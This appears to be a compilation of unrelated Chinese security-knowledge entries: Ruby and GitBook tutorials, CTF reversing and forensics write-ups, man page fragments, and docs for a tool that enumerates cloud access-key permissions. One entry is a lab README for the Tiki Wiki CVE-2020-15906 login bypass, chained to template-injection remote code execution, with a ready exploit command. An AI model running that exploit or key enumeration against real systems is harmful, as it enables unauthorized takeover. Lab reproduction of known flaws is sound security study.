将试着并行运行所有指定的文件系统检查,不管这些文件系统是不是在同一设备上。(这对于RAID系统或者高端存储系统比如IBM或者EMC出售的那种很有用)
.TP
.B FSCK_MAX_INST
这个环境变量将限制同时可以运行的文件系统检查器的最大数量。这样使得拥有大量磁盘的系统避免
.B fsck
一次启动过多文件系统检查器,那样有可能耗尽机器的CPU和内存资源。如果值为0,可以孵化出没有限制的数量的进程,这是当前的默认值。将来版本的
.B fsck
将试着根据收集操作系统的统计数据,自动判断应当启动多少文件系统检查。
.TP
.B PATH
.B PATH
环境变量用来查找文件系统检查器。一些系统目录会被最先搜索:
.BR /sbin ,
.BR /sbin/fs.d ,
.BR /sbin/fs ,
.BR /etc/fs ,
和
.BR /etc .
然后才搜索
.B PATH
环境变量中设置的目录集合。
.TP
.B FSTAB_FILE
这个环境变量允许系统管理员指定
.B /etc/fstab
文件的位置。它也为
.BR fsck
的开发者做测试之用。
.SH 参见 SEE ALSO
.BR fstab (5),
.BR mkfs (8),
.BR fsck.minix (8),
.BR fsck.ext2 (8)
或者
.BR e2fsck (8),
.BR fsck.xiafs (8).
.SH "[中文版维护人]"
.B 袁乙钧 <bbbush@163.com>
.SH "[中文版最新更新]"
.B 2003.11.01
.SH "《中国linux论坛man手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# 条件判断
---
- https://www.kancloud.cn/imxieke/ruby-base/107292
---
# 什么是条件判断
接下来,我们来考虑一下如何将公历转换为平成纪年。首先,我们将输入的字符串转换为数值后减去 1988,最后输出运算结果,结束程序。
> 1989 年为平成元年,2014 年是平成 26 年。
```ruby
# 将公历转换为平成纪年
ad = ARGV[0].to_i
heisei = ad - 1988
puts heisei
```
```ruby
> ruby ad2heisei.rb 2013
25
```
但是,这个程序有点小问题。如果我们输入 1989 年以前的年份,返回值会变成 0 或者负数。
按道理,1989 年以前的年份是不能转换为平成 XX 年的,因此程序本不应允许输入示例中那样的年份。我们将程序稍微改进一下,若输入 1989 年以前的年份,程序则返回“无法转换”的提示。
在这样的情况下,为了实现程序在“某个条件时执行○○处理,否则执行 ×× 处理”,Ruby 为我们准备了条件判断语句。
条件判断语句主要有以下三种。
- if 语句
- unless 语句
- case 语句
# Ruby 中的条件
**条件与真假值**
我们在之前的章节已经介绍过了在条件判断中常用到的比较运算符。等号 `==`,不等号 `>`、`<` 等都是比较运算符。
比较的结果分为 `true` 和 `false` 两种。顾名思义,比较结果正确时为 `true` ,错误时为 `false` 。
除了比较运算符外,Ruby 中还有很多可以作为条件判断的方法。例如,字符串的 `empty?` 方法,该字符串的长度为 0 时返回 `true`,否则返回 `false`。
```ruby
p "".empty? #=> true
p "AAA".empty? #=> false
```
另外,除了 `true` 和 `false` 外,还有其他值可作为条件判断的值。例如,用正则表达式进行匹配时,匹配成功返回该字符串的位置,匹配失败返回 `nil`。
```ruby
p /Ruby/ =~ "Ruby" #=> 0
p /Ruby/ =~ "Diamond" #=> nil
```
- 真 : false 、 nil 以外的所有对象
- 假 : false 、 nil
也就是说,Ruby 会认为 `false` 与 `nil` 代表假,除此以外的所有值都代表真。因此,Ruby 中的真 / 假并非绝对等同于 `true/false`。`true` 代表真,`false` 代表假,同时,不返回 `true` 或 `false` 的方法只要能返回 `nil`,也可作为条件判断的表达式来使用。另外,在 Ruby 中还有个约定俗成的规则,为了使程序更容易理解,返回真假值的方法都要以 `?` 结尾。建议大家在写程序时也遵守这个规则。
# 逻辑运算符
在判断多个条件表达式时,我们会用到逻辑运算符 `&&` 和 `||`。
条件 1 && 条件 2
表示条件 1 为真,并且条件 2 也为真时,则整体的表达式返回真。两者中只要一个返回假时,则整体的表达式返回假。
相对地,
条件 1 || 条件 2
表示条件 1 为真,或者条件 2 为真时,整体的表达式返回真。两者同时为假时,则整体的表达式返回假。
还有表示否定的逻辑运算符:
!条件
表示相反的条件。也就是,条件为假时,表达式返回真;条件为真时,表达式返回假。例如,我们想判断整数 x 是否在 1 到 10 之间,if 语句可以这么写:
```ruby
if x >= 1 && x <= 10
┊
end
```
与上面的条件相反,表示“1 到 10 以外”时使用!,表达式可以写成 `!(x >= 1 && x <= 10)`。不过,像下面写成“小于 1,或者大于 10”可能更加直接,更便于理解。
```ruby
if x < 1 || x > 10
┊
end
```
条件判断对于控制程序的行为非常重要。过于复杂、难以理解的条件,会使程序的目的也会变得难以琢磨。建议大家在写程序时,注意尽量写便于理解的条件。
在 Ruby 中,还有与 `&&`、`||`、`!` 意思相同,但优先级略低的逻辑运算符 and、or、not。
# if 语句
接下来,我们就来看看条件判断语句到底如何使用。if 语句是最基本的条件判断语句,用法如下:
```ruby
if 条件 then
处理
end
```
> 可以省略 then
在这基础上可再加上 `elsif`、`else` :
```ruby
if 条件 1 then
处理 1
elsif 条件 2 then
处理 2
elsif 条件 3 then
处理 3
else
处理 4
end
```
> 可以省略 then
Ruby 会按照从上到下的顺序进行判断。首先,条件 1 为真时程序执行处理 1。条件 1 为假时,程序再判断条件 2,若为真时执行处理 2。同样地,条件 2 为假时,程序再判断条件 3……本例中虽然只有 4 个条件分支,但根据实际需要可以添加无限个的分支。最后,如果前面所有条件都为假时则执行处理 4。
来看看使用 elsif 的例子
```ruby
a = 10
b = 20
if a > b
puts "a 比b 大"
elsif a < b
puts "a 比b 小"
else
puts "a 与b 相等"
end
```
这是一个比较 a、b 大小的程序。比较结果分为 a 比 b 大、a 比 b 小或者 a 与 b 相等三种情况。这种情况下,我们可以使用 if ~ elsif ~ else 结构。
# unless 语句
unless 语句的用法刚好与 if 语句相反。unless 语句的用法如下:
```ruby
unless 条件 then
处理
end
```
> 可以省略 then
`unless` 语句的形式和 `if` 语句一样。但 `if` 语句是条件为真时执行处理,`unless` 语句则刚好相反,条件为假时执行处理。
```ruby
a = 10
b = 20
unless a > b
puts "a 不比b 大"
en
```
这个程序执行后输出“a 不比 b 大”。`unless` 语句的条件 `a > b` 为假,所以程序执行了 `puts` 方法。
`unless` 语句也可以使用 `else`。
```ruby
unless 条件
处理 1
else
处理 2
end
```
这个与下面的 if 语句是等价的。
```ruby
if 条件
处理 2
else
处理 1
end
```
对比以上两种写法,我们可以知道处理 1 和处理 2 的位置互换了,`if` 语句通过这样的互换,能达到与使用 `unless` 语句时同样的效果。
# case 语句
条件有多个时,使用 `if` 与 `elsif` 的组合虽然也能达到判断多个条件的效果,但是如果需要比较的对象只有一个,根据这个对象值的不同,执行不同的处理时,使用 `case` 语句会使程序更简单,更便于理解。
case 语句的用法如下:
```ruby
case 比较对象
when 值 1 then
处理 1
when 值 2 then
处理 2
when 值 3 then
处理 3
else
处理 4
end
```
> 可以省略 then
本例的比较对象的值有 3 个,但根据实际情况可以无限增加下去。
还有,`when` 可以一次指定多个值。下面的示例从数组 `tags` 的开头依次取出元素,判断元素值,输出相应的结果。
```ruby
tags = [ "A", "IMG", "PRE" ]
tags.each do |tagname|
case tagname
when "P","A","I","B","BLOCKQUOTE"
puts "#{tagname} has child."
when "IMG", "BR"
puts "#{tagname} has no child."
else
puts "#{tagname} cannot be used."
end
end
```
执行示例
```ruby
> ruby case.rb
A has child.
IMG has no child.
PRE cannot be used.
```
我们再来看看其他例子
```ruby
array = [ "a", 1, nil ]
array.each do |item|
case item
when String
puts "item is a String."
when Numeric
puts "item is a Numeric."
else
puts "item is something."
end
end
```
执行示例
```ruby
> ruby case_class.rb
item is a String.
item is a Numeric.
item is something.
```
在本例中,程序判断传过来的对象类型是字符串(`String` 类)还是数值(`Numeric` 类),或者均不是以上两者,然后再输出相应的结果。
在这里,我们同样是使用 `case` 语句,不过判断的主体与之前的例子有点区别。本例中的 `when` 实际并不是直接判断传过来的字符串,而是先查找该对象属于哪个类,然后再根据这个类的信息来进行条件判断。
我们还可以根据正则表达式的匹配结果进行不同处理。下面是使用正则表达式做判断的 `case` 语句的例子。
```ruby
text.each_line do |line|
case line
when /^From:/i
puts "发现寄信人信息"
when /^To:/i
puts "发现收信人信息"
when /^Subject:/i
puts "发现主题信息"
when /^$/
puts "头部解析完毕"
exit
else
## 跳出处理
end
end
```
这是一个解析电子邮件头部的程序。为了简化程序,我们并没有考虑有多个头部的情况,而且电子邮件里的内容我们也没取出来。在这里,大家掌握程序的大概的处理流程就可以了。
`each_line` 方法逐行读取电子邮件正文数据 `text`,并将每行的内容赋值给变量 `line`。这个是处理文件、文本数据时的典型的写法。
接着 `case` 语句判断得到的字符串的内容,执行不同的处理。以 From: 开头时输出“发现寄信人信息”,以 `To:` 开头时输出“发现收信人信息”,以 `Subject:` 开头时输出“发现主题信息”。
最后的 `when` 判断的 `/^$/`,表示行的开头后马上就接着是行尾的意思 3,也就是说,这是表示空行的正则表达式。电子邮件的头部和正文间一定会以空行作间隔,因此根据这个规则我们就可以把空行作为头部结束的标志。当 `when` 遇到空行,输出“头部解析完毕”的信息后调用 `exit` 方法,结束程序。
> 在正则表达式中,^ 表示匹配字符串的开始,$ 表示匹配字符串的结束。
## === 与 case 语句
在 `case` `语句中,when` 判断值是否相等时,实际是使用 `===` 运算符来判断的。左边是数值或者字符串时,`===` 与 `==` 的意义是一样的,除此以外,`===` 还可以与 `=~` 一样用来判断正则表达式是否匹配,或者判断右边的对象是否属于左边的类,等等。对比单纯的判断两边的值是否相等,`===` 能表达更加广义的“相等”。
```ruby
p (/zz/ === "xyzzy") #=> true
p (String === "xyzzy") #=> true
p ((1..3) === 2) #=> true
```
用 if 语句改写 case 语句的程序如下所示。请注意 when 指定的对象在===h 的左边。
# if 修饰符与 unless 修饰符
if 与 unless 可以写在希望执行的代码的后面。像下面这样:
```ruby
puts "a 比b 大" if a > b
```
这与下面的写法是等价的。
```ruby
if a > b
puts "a 比b 大"
end
```
使用修饰符的写法会使程序更加紧凑。通常,我们在希望强调代码执行的内容时会使用修饰符写法。同样地,在使用修饰符写法时,请大家注意程序的易读性。
# 对象的同一性
所有的对象都有标识和值。
标识(ID)用来表示对象同一性。Ruby 中所有对象都是唯一的,对象的 ID 可以通过 `object_id`(或者 `__id__`)方法取得。
```ruby
ary1 = []
ary2 = []
p ary1.object_id #=> 67653636
p ary2.object_id #=> 67650432
```
我们用 `equal?` 方法判断两个对象是否同一个对象(ID 是否相同)。
```ruby
str1 = "foo"
str2 = str1
str3 = "f" + "o" + "o"
p str1.equal?(str2) #=> true
p str1.equal?(str3) #=> false
```
对象的“值”就是对象拥有的信息。例如,只要对象的字符串内容相等,Ruby 就会认为对象的值相等。Ruby 使用 `==` 来判断对象的值是否相等。
```ruby
str1 = "foo"
str2 = "f" + "o" + "o"
p str1 == str2 #=> true
```
除了 `==` 以外,Ruby 还提供 `eql?` 方法用来判断对象的值是否相等。`==` 与 `eql?` 都是 Object 类定义的方法,大部分情况下它们的执行结果都是一样的。但也有例外,数值类会重定义 `eql?` 方法,因此执行后有不一样结果。
```ruby
p 1.0 == 1 #=> true
p 1.0.eql?(1) #=> false
```
凭直觉来讲,把 `1.0` 与 `1` 判断为相同的值会更加方便。在一般情况进行值的比较时使用 `==`,但是在一些需要进行更严谨的比较的程序中,就需要用到 `eql?` 方法。例如,`0` 与 `0.0` 作为散列的键时,会判断为不同的键,这是由于散列对象内部的键比较使用了 `eql?` 方法来判断。
```ruby
hash = { 0 => "0"}
p hash[0.0] #=> nil
p hash[0] #=> "0"
```
|
sec-knowleage
|
# Warmup (RE, 415p, 52 solved)
Another classic reversing challenge.
We get a [binary](rhapsody), ELF x64, statically compiled.
Just like in warmup we can see a permutated flag in the strings:
```asm
00000000004a2739 db 0x73 ; 's' ; DATA XREF=sub_400a59+28, sub_400bf4+28, sub_400d0c+28, sub_4010e0+28
00000000004a273a db 0x00 ; '.'
00000000004a273b db 0x31 ; '1' ; DATA XREF=sub_400a9f+28, sub_400bae+28
00000000004a273c db 0x00 ; '.'
00000000004a273d db 0x34 ; '4' ; DATA XREF=sub_400ae5+28, sub_400b68+28, sub_40116c+28, sub_4011f8+28, sub_401310+28
00000000004a273e db 0x00 ; '.'
00000000004a273f db 0x74 ; 't' ; DATA XREF=sub_400c3a+28
00000000004a2740 db 0x00 ; '.'
00000000004a2741 db 0x4b ; 'K' ; DATA XREF=sub_400c80+28
00000000004a2742 db 0x00 ; '.'
00000000004a2743 db 0x68 ; 'h' ; DATA XREF=sub_400cc6+28
00000000004a2744 db 0x00 ; '.'
00000000004a2745 db 0x72 ; 'r' ; DATA XREF=sub_400d52+28, sub_400fc8+28
00000000004a2746 db 0x00 ; '.'
00000000004a2747 db 0x7b ; '{' ; DATA XREF=sub_400d98+28
00000000004a2748 db 0x00 ; '.'
00000000004a2749 db 0x33 ; '3' ; DATA XREF=sub_400dde+28, sub_40100e+28
00000000004a274a db 0x00 ; '.'
00000000004a274b db 0x4f ; 'O' ; DATA XREF=sub_400e24+28
00000000004a274c db 0x00 ; '.'
00000000004a274d db 0x6c ; 'l' ; DATA XREF=sub_400e6a+28, sub_400ef6+28
00000000004a274e db 0x00 ; '.'
00000000004a274f db 0x66 ; 'f' ; DATA XREF=sub_400eb0+28, sub_4011b2+28
00000000004a2750 db 0x00 ; '.'
00000000004a2751 db 0x67 ; 'g' ; DATA XREF=sub_400f3c+28
00000000004a2752 db 0x00 ; '.'
00000000004a2753 db 0x30 ; '0' ; DATA XREF=sub_400f82+28
00000000004a2754 db 0x00 ; '.'
00000000004a2755 db 0x6a ; 'j' ; DATA XREF=sub_401054+28
00000000004a2756 db 0x00 ; '.'
00000000004a2757 db 0x75 ; 'u' ; DATA XREF=sub_40109a+28
00000000004a2758 db 0x00 ; '.'
00000000004a2759 db 0x37 ; '7' ; DATA XREF=sub_401126+28, sub_401284+28
00000000004a275a db 0x00 ; '.'
00000000004a275b db 0x6e ; 'n' ; DATA XREF=sub_40123e+28
00000000004a275c db 0x00 ; '.'
00000000004a275d db 0x7d ; '}' ; DATA XREF=sub_4012ca+28
```
And again we can find a very nice pattern for checking the flag:
```asm
000000000040137c mov eax, 0x0
0000000000401381 call sub_400b2b
0000000000401386 test eax, eax
0000000000401388 jne loc_401394
000000000040138a mov eax, 0x0
000000000040138f jmp loc_4016a0
loc_401394:
0000000000401394 mov eax, 0x0 ; CODE XREF=sub_401378+16
0000000000401399 call sub_400c80
000000000040139e test eax, eax
00000000004013a0 jne loc_4013ac
00000000004013a2 mov eax, 0x0
00000000004013a7 jmp loc_4016a0
loc_4013ac:
00000000004013ac mov eax, 0x0 ; CODE XREF=sub_401378+40
00000000004013b1 call sub_400e24
00000000004013b6 test eax, eax
00000000004013b8 jne loc_4013c4
00000000004013ba mov eax, 0x0
00000000004013bf jmp loc_4016a0
```
and more similar checks.
Jump `jmp loc_4016a0` means of course we failed to get the character right.
Fortunately for us the functions we are calling here are all basically the same:
```asm
sub_400c80:
0000000000400c80 push rbp ; CODE XREF=sub_401378+33
0000000000400c81 mov rbp, rsp
0000000000400c84 mov eax, 0x0
0000000000400c89 call sub_4009d3
0000000000400c8e mov byte [0x6cee20], al
0000000000400c94 mov eax, 0x6cee41
0000000000400c99 movzx edx, byte [rax]
0000000000400c9c mov eax, 0x4a2741
0000000000400ca1 movzx eax, byte [rax]
0000000000400ca4 cmp dl, al
0000000000400ca6 jne loc_400cbf
0000000000400ca8 mov eax, dword [0x6cdc70]
0000000000400cae xor eax, 0x5
0000000000400cb1 mov dword [0x6cdc70], eax
0000000000400cb7 mov eax, dword [0x6cdc70]
0000000000400cbd jmp loc_400cc4
loc_400cbf:
0000000000400cbf mov eax, 0x0 ; CODE XREF=sub_400c80+38
loc_400cc4:
0000000000400cc4 pop rbp ; CODE XREF=sub_400c80+61
0000000000400cc5 ret
; endp
```
This function simply loads our input byte and then compares it with expected flag byte.
And those functions go in order!
There is a call to some strange function here, but in the end it doesn't matter, so no point bothering with it.
There was a small difference for the first check, because the function was a bit different, but we know the first character of the flag is `E` so we simply start with the second one.
This looks like a nice target for angr, but we couldn't run it, just like for warmup, so we did a gdb script one more time.
What we want to do:
1. Stop when the pattern of cmp-then-jump starts.
2. Step into the function.
3. Move to the `cmp` and check what input was expected, save it as flag byte.
4. Change our input byte for the expected one, so the checks pass and we can proceed.
5. Move to the next check.
We run:
```python
import gdb
import codecs
import string
flag = []
gdb.execute("break *0x401399")
gdb.execute("r <<< $(echo 'Eaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')")
for i in range(32):
gdb.execute("s")
for j in range(9):
gdb.execute("n")
character = chr(int(str(gdb.parse_and_eval("$al")),16))
flag.append(character)
gdb.execute("set $dl = $al")
for j in range(12):
gdb.execute("n")
print('E'+"".join(flag))
```
And we get: `EKO{1sth1sr34lfl4g0rjus7f4n74s34}`
|
sec-knowleage
|
# 34C3 CTF 2017
Team: Eternal, rev, msm, nazywam, psrok1, c7f.m0d3, akrasuski1, shalom
### Table of contents
* [Software update (crypto)](crypto_software_update)
* [lol (crypto)](crypto_lol)
* [blinkenlights (re)](blinkenlights)
|
sec-knowleage
|
/*
* Copyright 2015-2016 the original author or authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package example.springdata.rest.headers;
import example.springdata.rest.headers.Customer.Gender;
import javax.annotation.PostConstruct;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.data.jpa.repository.config.EnableJpaAuditing;
/**
* @author Oliver Gierke
* @soundtrack The Intersphere - Out of phase (Live at Alte Feuerwache Mannheim)
*/
@EnableJpaAuditing
@SpringBootApplication
public class Application {
public static void main(String... args) {
SpringApplication.run(Application.class, args);
}
@Autowired CustomerRepository customers;
public @PostConstruct void init() {
customers.save(new Customer("Dave", "Matthews", Gender.MALE, //
new Address("4711 Some Place", "54321", "Charlottesville", "VA")));
}
}
|
sec-knowleage
|
---
title: 列出当前凭证权限
---
## 一键列出阿里云的凭证权限
使用以下命令列出当前凭证权限以及可以执行的操作
```bash
cf alibaba perm
```
## 一键列出腾讯云的凭证权限
```bash
cf tencent perm
```
## 一键列出华为云的凭证权限
```bash
cf huawei perm
```
::: warning 注意
CF 列出权限的逻辑有两种方式:
1. CF 会先判断当前 AK 是否具有身份访问控制的权限,如果有则直接通过 API 接口获取当前 AK 的权限,这种方式是最准确的。
2. 如果当前 AK 不具备身份访问控制的权限,那么就通过遍历 API 接口的方式判断是否有其权限,目前 CF 只会遍历常见的几种资源权限,因此如果 CF 提示没有发现任何权限的时候并不意味着这个 AK 真的什么权限都没有。
:::
<Vssue />
<script>
export default {
mounted () {
this.$page.lastUpdated = "2022年9月7日"
}
}
</script>
|
sec-knowleage
|
---
title: GITBOOK
---
## 使用 Gitbook 来做笔记
### 装包:
```
npm install gitbook-cli -g
```
### 创建笔记文件夹note并进入
```
mkdir note && cd note
```
### 初始化gitbook
```
gitbook init
```
这样,会生成2个文件
- README.md 封面
- SUMMARY.md 目录
### 启动项目:
```
gitbook serve
```
这样,可以启动一个服务器,然后到 localhost:4000 端口,就可以看到这本书了。
### 在浏览器打开:
```
localhost:4000
```
### 调整结构:
在note新建content文件夹将README.md,SUMMARY.md文件放在里面
```
note -> content -> README.md,SUMMARY.md
```
创建 git 文件夹,然后里面就可以写笔记了。其实 gitbook 本身的使用技巧基本就是这些了。
```
note -> content -> git
```
## 托管gitbook
### 在github上创建node仓库
### 然后,把项目变成一个**nodejs**的项目:
```
npm init -y
```
### 然后,在package.json 中添加这些代码:
```
"scripts": {
"start": "gitbook serve ./content ./gh-pages",
"build": "gitbook build ./content ./gh-pages",
"deploy": "node ./scripts/deploy-gh-pages.js",
"publish": "npm run build && npm run deploy",
"port": "lsof -i :35729"
},
```
### 运行本地gitbook
```
npm start
```
### 删除_book文件夹
```
rm -r _book
```
### 在note文件夹里创建一个.gitignore文件将不上传的文件添加
```
# dependencies
/node_modules
/scripts
/gh-pages
```
### github备份(上传)操作
```
git init
git add -A
git commit -a -m 'new'
git remote add origin https://github.com/l552177239/note.git
git push -u origin master
```
### 部署书籍到 gh-pages
这一步,可以手动做:
- 第一步:运行:`npm run build`,把md文件转化为html放到gh-pages文件夹
- 第二步:拷贝gh-pages中的所有文件,到gh-pages分支,然后上传
- 第三步:以后每次修改完都拷贝到gh-pages分支,很麻烦
所以,我们采用一个 npm 包,来帮助我们完成上面的操作
**装包**:
```
npm i gh-pages --save
```
然后创建配置文件`note/scripts/deploy-gh-pages.js`
将下面代码拷贝进去
```js
'use strict';
var ghpages = require('gh-pages');
main();
function main() {
ghpages.publish('./dist', console.error.bind(console));
}
```
这样,每次书稿有了修改,运行
```
npm run publish
```
就可以把书稿部署到 http://l552177239.github.io/note
### 编辑书籍
可以修改 SUMMARY.md 来添加书籍目录
```
# Summary
* [Introduction](README.md)
//README.md封面内容
* 第一章
- [第一小节:学习 Github](./git/1-github.md)
//[目录上的名称](展示文章的地址)
- [第二小节:学习 Gitbook](./git/2-gitbook.md)
- [第三小节:Github 基本操作](./git/3-github.md)
```
文章内用`markdown`语法书写,具体怎么写请看下一章
|
sec-knowleage
|
# "Wee" Challenges
Several challenges were related to a single website running a "paperbots" service.
All related challenges included the following explanations:
> Good coders should learn one new language every year.
>
> InfoSec folks are even used to learn one new language for every new problem they face (YMMV).
>
> If you have not picked up a new challenge in 2018, you're in for a treat.
>
> We took the new and upcoming `Wee` programming language from paperbots.io. Big shout-out to Mario Zechner (@badlogicgames) at this point.
>
> Some cool Projects can be created in Wee, like: [this](https://paperbots.io/project.html?id=URJgCh), [this](https://paperbots.io/project.html?id=kpyyrl) and [that](https://paperbots.io/project.html?id=F53thj).
>
> Since we already know Java, though, we ported the server (Server.java and Paperbots.java) to Python (WIP) and constantly add awesome functionality.
> Get the new open-sourced server at `/pyserver/server.py`.
>
> Anything unrelated to the new server is left unchanged from commit `dd059961cbc2b551f81afce6a6177fcf61133292` at
badlogics [paperbot github](https://github.com/badlogic/paperbots (mirrored up to this commit [here](https://github.com/domenukk/paperbots/)).
>
> We even added new features to this better server, like server-side Wee evaluation!
>
> To make server-side Wee the language of the future, we already implemented awesome runtime functions.
> To make sure our VM is 100% safe and secure, there are also assertion functions in server-side Wee that you don't have to be concerned about.
|
sec-knowleage
|
# F#ck (re 50)
###ENG
[PL](#pl-version)
In the task we get a [binary](FlagGenerator.exe) which is written in F#.
Like every other .NET binary it can be nicely decompiled by ILSpy.
With this we didn't even need to reverse the algorithm at all.
We simply modified the decompiled code we got so that we could compile it again:
```csharp
using System;
using System.Globalization;
class X
{
public string str;
public int[] ccIndices;
internal X(string str, int[] ccIndices)
{
this.str = str;
this.ccIndices = ccIndices;
}
public string Invoke(int i)
{
if (i == this.ccIndices.Length - 1)
{
return this.str.Substring(i);
}
int num = this.ccIndices[i];
return this.str.Substring(num, this.ccIndices[i + 1] - num);
}
}
public class Test
{
public static string get_flag(string str)
{
int[] array = StringInfo.ParseCombiningCharacters(str);
int num = array.Length;
X fSharpFunc = new X(str, array);
string[] array2 = new string[num];
int num2 = 0;
int num3 = num - 1;
if (num3 >= num2)
{
do
{
array2[num2] = fSharpFunc.Invoke(num2);
num2++;
}
while (num2 != num3 + 1);
}
string[] array3 = array2;
Array.Reverse(array3);
return string.Join("", array3);
}
public static void Main()
{
Console.WriteLine(get_flag("t#hs_siht_kc#f"));
}
}
```
And we got `EKO{f#ck_this_sh#t}`.
###PL version
W zadaniu dostajemy [program](FlagGenerator.exe) napisany w F#.
Jak każda inna binarka .NET można go ładnie zdekompilować za pomocą ILSpy.
Uzyskujemy w ten sposób dość ładny kod i nie było potrzeby nawet reversować algorytmu.
Zmodyfikowaliśmy uzyskany kod tak, żeby dało się go skompilować i uruchomić:
```csharp
using System;
using System.Globalization;
class X
{
public string str;
public int[] ccIndices;
internal X(string str, int[] ccIndices)
{
this.str = str;
this.ccIndices = ccIndices;
}
public string Invoke(int i)
{
if (i == this.ccIndices.Length - 1)
{
return this.str.Substring(i);
}
int num = this.ccIndices[i];
return this.str.Substring(num, this.ccIndices[i + 1] - num);
}
}
public class Test
{
public static string get_flag(string str)
{
int[] array = StringInfo.ParseCombiningCharacters(str);
int num = array.Length;
X fSharpFunc = new X(str, array);
string[] array2 = new string[num];
int num2 = 0;
int num3 = num - 1;
if (num3 >= num2)
{
do
{
array2[num2] = fSharpFunc.Invoke(num2);
num2++;
}
while (num2 != num3 + 1);
}
string[] array3 = array2;
Array.Reverse(array3);
return string.Join("", array3);
}
public static void Main()
{
Console.WriteLine(get_flag("t#hs_siht_kc#f"));
}
}
```
I dostaliśmy: `EKO{f#ck_this_sh#t}`.
|
sec-knowleage
|
# Tiki Wiki CMS Groupware 21.1 Authentication Bypass (CVE-2020-15906)
[中文版本(Chinese version)](README.zh-cn.md)
Tiki Wiki CMS Groupware or simply Tiki, originally known as TikiWiki, is a free and open source Wiki-based content management system and online office suite written primarily in PHP and distributed under the GNU Lesser General Public License (LGPL) license.
There is a new vulnerability in TikiWiki Cms Groupware 16.x - 21.1. It allows remote unauthenticated attackers to bypass the login page which results in a full compromise of Tiki Wiki CMS. An Attacker is able to bruteforce the Admin account until it is locked. After that an empty Password can be used to authenticate as admin to get access.
References:
- https://info.tiki.org/article473-Security-Releases-of-all-Tiki-versions-since-16-3
- https://github.com/S1lkys/CVE-2020-15906
- http://packetstormsecurity.com/files/159663/Tiki-Wiki-CMS-Groupware-21.1-Authentication-Bypass.html
- https://srcincite.io/pocs/cve-2021-26119.py.txt
## Vulnerable environment
Execute following commands to start a Tiki Wiki CMS 21.1:
```
docker compose up -d
```
After the server is running, browser the `http://your-ip:8080` to see the welcome page.
## Exploit
[POC](https://srcincite.io/pocs/cve-2021-26119.py.txt) comblines two bugs which lead to remote code execution:
Bug 1: CVE-2020-15906
- An unauthenticated user can bypass the authentication by bruteforcing the admin account > 50 times and login with a blank password
- Works on: <= 21.1 (UY_Scuti)
Bug 2: CVE-2021-26119
- An admin user can trigger a serverside template injection and gain remote code execution by escaping the sandbox of the Smarty Template Engine by leveraging the 'template_object' property
- Works on: <= 22.2 (Corona_Borealis) and impacts Smarty <= 3.1.38 (latest)
```shell
python poc.py your-ip:8080 / id
```

*WARNING* This exploit will lock out the administrator account.
|
sec-knowleage
|
# Crazy and Radical Corruption
Category: Forensics
## Description
> Corruption can be critical, but sometimes it can be detected and fixed (unlike Ducky's super secret hacker attacks 🦆).
A zip file was attached.
## Solution
From the challenge title we can already guess that we will be dealing with CRC mismatches. However, it's not very clear what we were supposed to do in this challenge since it was possible to extract the flag without problems.
We get a ZIP file which is corrupted:
```console
root@kali:/media/sf_CTFs/technion/Crazy_and_Radical_Corruption# unzip -t crazy_and_radical_corruption.zip
Archive: crazy_and_radical_corruption.zip
testing: crazy_and_radical_corruption.png bad CRC b424e46f (should be 00000000)
At least one error was detected in crazy_and_radical_corruption.zip.
```
Even though the CRC is incorrect, modern tools can successfully extract the contents without a problem. However, for the sake of the writeup, we'll run a command to try and fix the mismatch:
```console
root@kali:/media/sf_CTFs/technion/Crazy_and_Radical_Corruption# zip -F crazy_and_radical_corruption.zip --out new.zip
Fix archive (-F) - assume mostly intact archive
Zip entry offsets do not need adjusting
copying: crazy_and_radical_corruption.png
zip warning: Local Entry CRC does not match CD: crazy_and_radical_corruption.png
root@kali:/media/sf_CTFs/technion/Crazy_and_Radical_Corruption# unzip -t new
Archive: new.zip
testing: crazy_and_radical_corruption.png OK
No errors detected in compressed data of new.zip.
```
After unzipping the archive, we get a PNG file which is again corrupted:
```console
root@kali:/media/sf_CTFs/technion/Crazy_and_Radical_Corruption# pngcheck crazy_and_radical_corruption.png
crazy_and_radical_corruption.png CRC error in chunk IDAT (computed 8c4c671d, expected 00000000)
ERROR: crazy_and_radical_corruption.png
```
However, again - the flag is visible enough and can be extracted without further actions. For the sake of the writeup, we'll fix it too.
[PCRT](https://github.com/sherlly/PCRT) was unable to fix the PNG but [PNGCSum](http://schaik.com/png/pngcsum.html) did it without a problem:
```console
root@kali:/media/sf_CTFs/technion/Crazy_and_Radical_Corruption# ~/utils/pngcsum/pngcsum crazy_and_radical_corruption.png out.png
IHDR ( 13 ) - csum = 139de5a2
sRGB ( 1 ) - csum = aece1ce9
gAMA ( 4 ) - csum = 0bfc6105
pHYs ( 9 ) - csum = c76fa864
IDAT (65445 ) - csum = 00000000 -> 8c4c671d
IDAT (45774 ) - csum = 8cffddca
IEND ( 0 ) - csum = ae426082
root@kali:/media/sf_CTFs/technion/Crazy_and_Radical_Corruption# pngcheck out.png
OK: out.png (2460x1259, 32-bit RGB+alpha, non-interlaced, 99.1%).
```
The flag: `cstechnion{fixiNg_errors_1n_Error_De7ec7ion}`
|
sec-knowleage
|
'\" t
.TH "MACHINE\-ID" "5" "" "systemd 231" "machine-id"
.\" -----------------------------------------------------------------
.\" * Define some portability stuff
.\" -----------------------------------------------------------------
.\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.\" http://bugs.debian.org/507673
.\" http://lists.gnu.org/archive/html/groff/2009-02/msg00013.html
.\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.ie \n(.g .ds Aq \(aq
.el .ds Aq '
.\" -----------------------------------------------------------------
.\" * set default formatting
.\" -----------------------------------------------------------------
.\" disable hyphenation
.nh
.\" disable justification (adjust text to left margin only)
.ad l
